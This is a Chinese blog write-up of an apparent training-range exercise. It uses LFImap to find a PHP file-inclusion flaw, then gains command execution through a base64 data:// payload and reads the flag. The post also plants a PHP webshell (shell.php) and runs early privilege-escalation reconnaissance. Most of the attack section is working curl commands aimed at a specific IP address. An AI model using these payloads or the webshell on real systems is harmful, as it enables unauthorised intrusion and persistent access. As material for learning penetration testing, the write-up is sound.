利用LFIMAP扫描的漏洞并获取flag
本文最后更新于 110 天前,其中的信息可能已经有所发展或是发生改变。

一、概况

目标网址:http://211.103.180.146

测试目标:用LFIMAP扫描漏洞,利用返回的漏洞结果查找flag

测试时间:2025.12.15

测试人员:MarsRain

二、信息收集

先登录网站,能直接看到页面抬头明确展示文件包含漏洞并且给出详细参数:file。为了验证,先用LFIMAP扫描一下具体有哪些漏洞然后提取里面的重要信息

python lfimap.py -U "http://211.103.180.146:11097/index.php?file=" -a
crul -I "http://211.103.180.146:11097/"

从这次用file参数可以提取出以下信息:

  • Debian环境下的Apache/2.4.25
  • PHP 版本为 7.2.14
  • UTF-8编码
  • 五个漏洞,分别为:
    • Info disclosure(信息泄露)——可以通过发送带有特殊字符的请求,触发了 include( 相关的错误信息,表明参数未被保护导致文件泄露
    • RCE(远程代码执行) ——可以通过 data:// 伪协议,上传经过Base64编码的PHP代码,可以执行系统命令
    • LFI (本地文件包含)——可以通过 file:///etc/passwd 读取服务器上的 /etc/passwd 文件
    • RFI (远程文件包含)——可以通过传入远程 URL 来包含外部文件,从而执行远程代码
    • 另一个LFI——直接通过传参返回/etc/passwd结果

三、漏洞利用和分析

1、验证

从返回的结果中检查,先用RCE尝试。复制其中返回的Base64编码后的PHP代码,修改后面的cat命令为其他命令,如whoami、ls并观察返回结果

- curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls"
- curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdK
TsgPz4K&c=whoami"
whoami返回结果
ls返回结果

2、直接修改系统命令

通过修改系统命令ls -F /,URL编码后上传直接回显根目录下所有文件夹

curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls+-F+%2f"
ls -F /返回的结果

发现flag.wasj,直接cat抓取获得最终flag:flag_nisp_cbf37d

curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=cat+%2fflag.wasj"
cat /flag.wasj返回的最终结果

四、附加:尝试提权

1、获取关键信息

提权的关键是发现系统中存在的权限漏洞、配置错误、或者已知漏洞。主要包括:

  • Sudo权限检查
  • 计划任务(cron)
  • 可写的敏感文件或目录
  • 系统服务漏洞
  • 内核漏洞
  • 环境变量和配置文件泄漏

2、构造上传webshell

构造webshell上传后主要作用是让命令简洁一点,方便后续操作

构造一段PHP代码执行系统命令:

'<?php system($_GET[cmd]); ?>'

然后将其进行URL编码加入到Base64编码后

echo '<?php system($_GET[cmd]); ?>' > shell.php

最后组成命令:

curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdK
TsgPz4K&c=echo%20'%3C%3Fphp%20system($_GET%5Bcmd%5D);%20%3F%3E'%20%3E%20shell.php"

验证是否上传成功:

curl "http://211.103.180.146:11097/index.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&c=ls"
ls返回的新结果

可以看到出现了新文件:shell.php 证明上传成功 之后验证是否可用

curl "http://211.103.180.146:11097/shell.php?cmd=whoami
shell.php下whoami返回的新结果

3、查看系统版本及用户组信息

构造payload查看系统版本:

uname -a:
- curl "http://211.103.180.146:11097/shell.php?cmd=uname+-a
cat /etc/os-release:
- curl "http://211.103.180.146:11097/shell.php?cmd=cat+%2fetc%2fos-release"
id:
- curl "http://211.103.180.146:11097/shell.php?cmd=id"
内核版本6.8.0-85-generic
操作系统Ubuntu 22.04.1 LTS
架构x86_64

从提取的信息可以得出:

  • 该内核版本较新,公开已知的高危内核提权漏洞相对较少
  • 常见漏洞如Dirty COWPtrace漏洞OverlayFS本地提权均已被修复

贴一个简单的LFImap的基础命令

由于原靶场文件丢失,只能到此为止Orz

欢迎查看其它博客,再次声明:本文仅供个人技术学习交流,不作为任何的建议和指导来进行相关的攻击甚至是违法操作。如果有相关违法行为,概不负责。

文末附加内容

评论

  1. 11
    Windows Firefox
    4 月前
    2025-12-16 17:43:37

    太强了

    • 博主
      11
      Windows Chrome
      3 月前
      2025-12-23 11:11:34

      很菜 别捧杀我了o(╥﹏╥)o

  2. LJ
    Windows Edge
    3 月前
    2026-1-06 9:03:45

    太强了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇